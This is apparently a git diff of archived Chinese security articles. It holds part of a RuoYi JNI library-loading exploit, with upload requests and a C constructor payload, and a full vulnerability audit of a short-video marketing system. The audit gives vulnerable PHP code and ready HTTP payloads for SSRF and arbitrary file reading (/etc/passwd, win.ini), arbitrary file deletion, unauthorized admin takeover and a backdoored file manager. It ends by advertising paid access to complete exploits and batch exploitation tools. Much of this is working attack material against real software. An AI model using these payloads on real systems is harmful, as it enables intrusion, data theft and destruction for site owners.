在java中存在一种机制叫做JNI,可以通过加载外部链接库,从而执行其中的<font style="color:rgba(0, 0, 0, 0.85);">构造函数</font>
|
||||
|
||||
而com.sun.glass.utils.NativeLibLoader的loadLibrary方法就可以去加载链接库,也是public修饰
|
||||
|
||||

|
||||

|
||||
```
|
||||
POST /common/upload HTTP/1.1
|
||||
Host: 10.40.107.67
|
||||
Upgrade-Insecure-Requests: 1
|
||||
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
|
||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflate, brAccept-Language: zh-CN,zh;q=0.9,en;q=0.8Cookie: _tea_utm_cache_10000007=undefined; java-chains-token-key=admin_token; JSESSIONID=b414f17a-7363-47d9-b164-3d0532a09b1cx-forwarded-for: 127.0.0.1Connection: closeContent-Type: multipart/form-data; boundary=00content0boundary00Content-Length: 167--00content0boundary00Content-Disposition: form-data; name="file"; filename="com.ruoyi.quartz.task.txt"Content-Type: image/jpgsuccess--00content0boundary00--
|
||||
POST /common/upload HTTP/1.1Host: 10.40.107.67Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflate, brAccept-Language: zh-CN,zh;q=0.9,en;q=0.8Cookie: _tea_utm_cache_10000007=undefined; java-chains-token-key=admin_token; JSESSIONID=b414f17a-7363-47d9-b164-3d0532a09b1cx-forwarded-for: 127.0.0.1Connection: closeContent-Type: multipart/form-data; boundary=00content0boundary00Content-Length: 167--00content0boundary00Content-Disposition: form-data; name="file"; filename="com.ruoyi.quartz.task.txt"Content-Type: image/jpgsuccess--00content0boundary00--
|
||||
```
|
||||
|
||||

|
||||

|
||||
|
||||

|
||||

|
||||
```
|
||||
cat calc.c
|
||||
|
||||
#include <stdlib.h>
|
||||
__attribute__((constructor))
|
||||
staticvoid run() {
|
||||
system("open -a Calculator");
|
||||
}
|
||||
cat calc.c #include <stdlib.h>__attribute__((constructor))staticvoid run() {system("open -a Calculator");}
|
||||
```
|
||||
```
|
||||
POST /common/upload HTTP/1.1
|
||||
Host: 10.40.107.67
|
||||
Upgrade-Insecure-Requests: 1
|
||||
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
|
||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflate, brAccept-Language: zh-CN,zh;q=0.9,en;q=0.8Cookie: _tea_utm_cache_10000007=undefined; java-chains-token-key=admin_token; JSESSIONID=b414f17a-7363-47d9-b164-3d0532a09b1cx-forwarded-for: 127.0.0.1Connection: closeContent-Type: multipart/form-data; boundary=00content0boundary00Content-Length: 167--00content0boundary00Content-Disposition: form-data; name="file"; filename="com.ruoyi.quartz.task.txt"Content-Type: image/jpg二进制恶意代码--00content0boundary00--
|
||||
POST /common/upload HTTP/1.1Host: 10.40.107.67Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflate, brAccept-Language: zh-CN,zh;q=0.9,en;q=0.8Cookie: _tea_utm_cache_10000007=undefined; java-chains-token-key=admin_token; JSESSIONID=b414f17a-7363-47d9-b164-3d0532a09b1cx-forwarded-for: 127.0.0.1Connection: closeContent-Type: multipart/form-data; boundary=00content0boundary00Content-Length: 167--00content0boundary00Content-Disposition: form-data; name="file"; filename="com.ruoyi.quartz.task.txt"Content-Type: image/jpg二进制恶意代码--00content0boundary00--
|
||||
```
|
||||
|
||||

|
||||

|
||||

|
||||
|
||||
注意他会自动在后面添加dylib等后缀,在不同的系统中可能有不同的后缀,并且要注意架构问题
|
||||
|
||||
|
||||
黑白之道发布、转载的文章中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途及盈利等目的,否则后果自行承担!
|
||||
|
||||
如侵权请私聊我们删文
|
||||
|
||||
|
||||
**END**
|
||||
|
||||
|
||||
|
363
doc/2025-05/某短视频矩阵营销系统前台RCE漏洞审计.md
Normal file
363
doc/2025-05/某短视频矩阵营销系统前台RCE漏洞审计.md
Normal file
@ -0,0 +1,363 @@
|
||||
# 某短视频矩阵营销系统前台RCE漏洞审计
|
||||
阿乐你好 2025-05-16 01:36
|
||||
|
||||

|
||||
|
||||
点击上方
|
||||
蓝字
|
||||
关注我们 并设为
|
||||
星标
|
||||
## 0x00 前言
|
||||
|
||||
**Fofa语句:请见文末**
|
||||
|
||||

|
||||
|
||||
**搭建完之后长这样. ThinkPHP框架,需要将目录设置为Public.**
|
||||
|
||||
**这套系统洞挺多的,大家可以研究学习一下**
|
||||
|
||||
****
|
||||
**目录结构 控制器全都是简单的eval加密:**
|
||||
|
||||
****
|
||||

|
||||
## 0x01 前台任意文件读取+SSRF
|
||||
|
||||
**在 /application/admin/controller/userinfo.php 控制器中的poihuoqu方法,存在curl_exec函数,传参可控,未加鉴权,且结果直接回显,导致任意文件读取和SSRF漏洞.**
|
||||
```
|
||||
/*获取POI*/
|
||||
public function poihuoqu(){
|
||||
$poi = input('post.poi');
|
||||
$url = trim($poi);
|
||||
$info = curl_init();
|
||||
curl_setopt($info,CURLOPT_RETURNTRANSFER,true);
|
||||
curl_setopt($info,CURLOPT_HEADER,0);
|
||||
curl_setopt($info,CURLOPT_NOBODY,0);
|
||||
curl_setopt($info,CURLOPT_SSL_VERIFYPEER,false);
|
||||
curl_setopt($info,CURLOPT_SSL_VERIFYPEER,false);
|
||||
curl_setopt($info,CURLOPT_SSL_VERIFYHOST,false);
|
||||
curl_setopt($info,CURLOPT_URL,$url);
|
||||
$output = curl_exec($info);
|
||||
curl_close($info);
|
||||
//$id = stripos($output,"poi_id=");
|
||||
$on = mb_stripos($output,"poi_id=");
|
||||
$er = mb_stripos($output,"&");
|
||||
$poiid = mb_substr($output,$on+7,$er-$on-7);
|
||||
|
||||
if($output){
|
||||
|
||||
return json(['code'=>1,'msg'=>$poiid]);
|
||||
}else{
|
||||
return json(['code'=>-1,'msg'=>'获取失败']);
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
Linux读取 Payload:
|
||||
```
|
||||
POST /index.php/admin/Userinfo/poihuoqu HTTP/2
|
||||
Host: 127.0.0.1
|
||||
Cache-Control: max-age=0
|
||||
Sec-Ch-Ua: "(Not(A:Brand";v="8", "Chromium";v="101"
|
||||
Sec-Ch-Ua-Mobile: ?0
|
||||
Sec-Ch-Ua-Platform: "Windows"
|
||||
Upgrade-Insecure-Requests: 1
|
||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
|
||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
|
||||
Sec-Fetch-Site: none
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Sec-Fetch-Mode: navigate
|
||||
Sec-Fetch-User: ?1
|
||||
Sec-Fetch-Dest: document
|
||||
Accept-Encoding: gzip, deflate
|
||||
Accept-Language: zh-CN,zh;q=0.9
|
||||
Content-Length: 22
|
||||
|
||||
poi=file:///etc/passwd
|
||||
```
|
||||
Windows读取 Payload:```
|
||||
POST /index.php/admin/Userinfo/poihuoqu HTTP/2
|
||||
Host: 127.0.0.1
|
||||
Cache-Control: max-age=0
|
||||
Sec-Ch-Ua: "(Not(A:Brand";v="8", "Chromium";v="101"
|
||||
Sec-Ch-Ua-Mobile: ?0
|
||||
Sec-Ch-Ua-Platform: "Windows"
|
||||
Upgrade-Insecure-Requests: 1
|
||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
|
||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
|
||||
Sec-Fetch-Site: none
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Sec-Fetch-Mode: navigate
|
||||
Sec-Fetch-User: ?1
|
||||
Sec-Fetch-Dest: document
|
||||
Accept-Encoding: gzip, deflate
|
||||
Accept-Language: zh-CN,zh;q=0.9
|
||||
Content-Length: 22
|
||||
|
||||
poi=file:///C:/Windows/win.ini
|
||||
```
|
||||
|
||||

|
||||
|
||||
**Dict协议打内网Redis:**
|
||||
|
||||

|
||||
## 0x02 前台任意文件删除
|
||||
|
||||
**在 /static/admin/upload_file/php/remove_file.php 中存在unlink函数,且$file参数可控,导致任意文件删除,这里不多说了.**
|
||||
```
|
||||
<?php
|
||||
if(isset($_POST['file'])){
|
||||
$file = '../uploads/' . $_POST['file'];
|
||||
if(file_exists($file)){
|
||||
unlink($file);
|
||||
}
|
||||
}
|
||||
?>
|
||||
```
|
||||
|
||||
**Payload:**
|
||||
```
|
||||
POST /static/admin/upload_file/php/remove_file.php HTTP/1.1
|
||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
|
||||
Accept-Encoding: gzip, deflate, br, zstd
|
||||
Accept-Language: zh-CN,zh;q=0.9,ru;q=0.8,en;q=0.7
|
||||
Cache-Control: max-age=0
|
||||
Connection: keep-alive
|
||||
Content-Length: 12
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Cookie: BJYSESSION=oorquahq7r9csc3can1hpcjkj3; PHPSESSID=6kqil2pldpq19cq7dt590uc54h; KOD_SESSION_SSO=ni6912a1a0d53k4rb6r6hgrhof; KOD_SESSION_ID_1bcdf=d358i7lc74rt2mrush7aao808h
|
||||
Host: 127.0.0.1:81
|
||||
Origin: http://127.0.0.1:81
|
||||
Referer: http://127.0.0.1:81/static/admin/upload_file/php/remove_file.php
|
||||
Sec-Fetch-Dest: document
|
||||
Sec-Fetch-Mode: navigate
|
||||
Sec-Fetch-Site: none
|
||||
Upgrade-Insecure-Requests: 1
|
||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
|
||||
sec-ch-ua: "Google Chrome";v="123", "Not:A-Brand";v="8", "Chromium";v="123"
|
||||
sec-ch-ua-mobile: ?0
|
||||
sec-ch-ua-platform: "Windows"
|
||||
sec-fetch-user: ?1
|
||||
|
||||
file=aaa.txt
|
||||
```
|
||||
## 0x03 前台未授权操纵+信息泄露漏洞
|
||||
|
||||
**在 /application/admin/controller/xxxx.php 控制器中的xxxx方法直接GET获取page,然后查询数据表并直接将账号密码列出,并且未加鉴权函数.**
|
||||
|
||||
**Payload:**
|
||||
```
|
||||
请见文末
|
||||
```
|
||||
|
||||

|
||||
|
||||
**在 **** 方法中,可随意操纵任意账户,更改密码等操作**
|
||||
|
||||
**直接访问 /index.php/admin/****/1 即可直接越权更改管理员密码**
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
**控制器不加任何鉴权,随便操纵用户,这套程序真抽象......**
|
||||
|
||||
**在 upload_add 方法中,还有个文件上传,但是无回显,上传文件以微秒的md5来命名,所以实际利用价值比较低,这里就不多赘述了 .**
|
||||
```
|
||||
public function upload_add(){
|
||||
|
||||
$file = request()->file('image');
|
||||
if(!$file){
|
||||
$this -> error('请选择上传的图片');
|
||||
}
|
||||
$info = $file->move(ROOT_PATH . 'public' . DS . 'uploads/images');
|
||||
if($info){
|
||||
$data = array(
|
||||
'image' =>$info->getSaveName(),
|
||||
'uid' =>session('uid'),
|
||||
);
|
||||
$id = input('post.id');
|
||||
if(empty($id)){
|
||||
$list = Db::name('img')->insert($data);
|
||||
}else{
|
||||
$list = Db::name('img')->where('id',$id)->update($data);
|
||||
}
|
||||
|
||||
|
||||
if($list){
|
||||
$this -> success('上传成功',url('upload'));
|
||||
// echo $info->getSaveName();
|
||||
}else{
|
||||
$this -> error('上传失败');
|
||||
}
|
||||
}else{
|
||||
echo $file->getError();
|
||||
}
|
||||
}
|
||||
```
|
||||
## 0x04 前台任意文件上传1
|
||||
|
||||
**Payload:**
|
||||
```
|
||||
请见文末
|
||||
```
|
||||
|
||||

|
||||
## 0x05 前台任意文件上传2
|
||||
|
||||
**Payload:**
|
||||
```
|
||||
请见文末
|
||||
```
|
||||
|
||||

|
||||
## 0x06 前台任意文件上传3
|
||||
|
||||
**Payload:**
|
||||
```
|
||||
请见文末
|
||||
```
|
||||
|
||||

|
||||
|
||||
## 0x07 某道云后门
|
||||
|
||||
**访问 /static/******/index.php 直接能访问到可道云,版本为4.48,99%是开发者或者资源网的后门********......**
|
||||
|
||||

|
||||
|
||||
**账号密码存在 /static/******/system_member.php 中**
|
||||
```
|
||||
<?php exit;?>{
|
||||
"1": {
|
||||
"name": "admin",
|
||||
"path": "admin",
|
||||
"password": "请见文末",
|
||||
"userID": "1",
|
||||
"role": "1",
|
||||
"config": {
|
||||
"sizeMax": "0",
|
||||
"sizeUse": 1024
|
||||
},
|
||||
"groupInfo": {
|
||||
"1": "write"
|
||||
},
|
||||
"createTime": 1653827726,
|
||||
"status": 1,
|
||||
"lastLogin": 1655653441
|
||||
},
|
||||
"100": {
|
||||
"userID": "100",
|
||||
"name": "demo",
|
||||
"password": "请见文末",
|
||||
"role": "2",
|
||||
"config": {
|
||||
"sizeMax": 5,
|
||||
"sizeUse": 1048576
|
||||
},
|
||||
"groupInfo": {
|
||||
"1": "write"
|
||||
},
|
||||
"path": "demo",
|
||||
"status": 1,
|
||||
"lastLogin": 1711702666,
|
||||
"createTime": 1653827726
|
||||
},
|
||||
"101": {
|
||||
"userID": "101",
|
||||
"name": "guest",
|
||||
"password": "请见文末",
|
||||
"role": "100",
|
||||
"config": {
|
||||
"sizeMax": 0.1,
|
||||
"sizeUse": 1048576
|
||||
},
|
||||
"groupInfo": {
|
||||
"1": "read"
|
||||
},
|
||||
"path": "guest",
|
||||
"status": 1,
|
||||
"lastLogin": "",
|
||||
"createTime": 1653827726
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
**可道云能干什么我就不多说了,有兴趣可以自己去研究(读取数据库文件啥的,admin权限可以上传php文件):**
|
||||
|
||||

|
||||
## 0x08 完整报告下载
|
||||
|
||||
完整Exp及源码已放在知识星球中,需要可自取!!!
|
||||
|
||||
**高质量漏洞利用研究,代码审计圈子,每周至少更新三个0Day/Nday及对应漏洞的批量利用工具,团队内部POC,源码分享,星球不定时更新内外网攻防渗透技巧以及最新学习,SRC研究报告等。**
|
||||
|
||||
**【圈子权益】**
|
||||
|
||||
**1,一年至少999+漏洞Poc及对应漏洞批量利用工具**
|
||||
|
||||
**2,各种漏洞利用工具及后续更新,渗透工具、文档资源分享**
|
||||
|
||||
**3,内部漏洞库情报分享(目前已有150000+poc,会每日更新,包括部分未公开0/1day)**
|
||||
|
||||
**4,加入内部微信群,遇到任何技术问题都可以进行快速提问、讨论交流;**
|
||||
|
||||
**5,Fofa API 高级会员Key共享**
|
||||
|
||||
**6, 高自动化代码审计工具共享**
|
||||
|
||||
**圈子目前价格为已涨价至129元,现在星球有900+位师傅相信并选择加入我们**
|
||||
|
||||
****
|
||||
**网站源码及漏洞库已于2025.4.2日更新**
|
||||
|
||||
Fofa 高级会员 Key****
|
||||
|
||||

|
||||
|
||||
****
|
||||
超多审计资料,自动化审计工具
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||

|
||||
****
|
||||
**圈子内部漏********洞库(日更)**
|
||||
|
||||

|
||||
|
||||
**每篇文章均有完整指纹和详细POC**
|
||||
|
||||
****
|
||||
**一起愉快地刷分**
|
||||
|
||||

|
||||

|
||||

|
||||
|
||||
**上千套审计源码,包括各种协同办公OA**
|
||||
|
||||
****
|
||||
**入圈之后可私信我帮你开通永久VIP,已开通各大源码站VIP**
|
||||
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
****
|
||||
**高质量代码审计社区**
|
||||
|
||||

|
||||
|
||||
**标签:代码审计,0day,渗透测试,系统,通用,0day,转转**
|
||||
|
||||
**PS:关注公众号,持续更新漏洞文章**
|
||||
|
||||
|
||||
**免责声明:****文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,文章作者和本公众号不承担任何法律及连带责任,望周知!!!**
|
||||
|
@ -1,5 +1,5 @@
|
||||
# 漏洞预警 | 用友NC SQL注入漏洞
|
||||
浅安 浅安安全 2025-05-06 23:50
|
||||
浅安 浅安安全 2025-05-16 00:00
|
||||
|
||||
**0x00 漏洞编号**
|
||||
- # 暂无
|
||||
@ -24,10 +24,11 @@ SQL注入
|
||||
|
||||
**简述:**
|
||||
用友NC的
|
||||
/portal/pt/M0dUlE/redeploy接口存在SQL注入漏洞,未经身份验证的攻击者可以通过该漏洞获取数据库敏感信息。
|
||||
/portal/pt/cpRadarImage/download接口存在SQL注入漏洞,未经身份验证的攻击者可以通过该漏洞获取数据库敏感信息。
|
||||
|
||||
**0x04 影响版本**
|
||||
- 用友NC
|
||||
65
|
||||
|
||||
**0x05****POC状态**
|
||||
- 已公开
|
||||
|
@ -1,5 +1,5 @@
|
||||
# 通过细节挖掘漏洞的艺术
|
||||
菜狗 富贵安全 2025-05-15 00:01
|
||||
菜狗 富贵安全 2025-05-16 00:00
|
||||
|
||||
### 低价享受高价
|
||||
|
||||
|
Loading…
x
Reference in New Issue
Block a user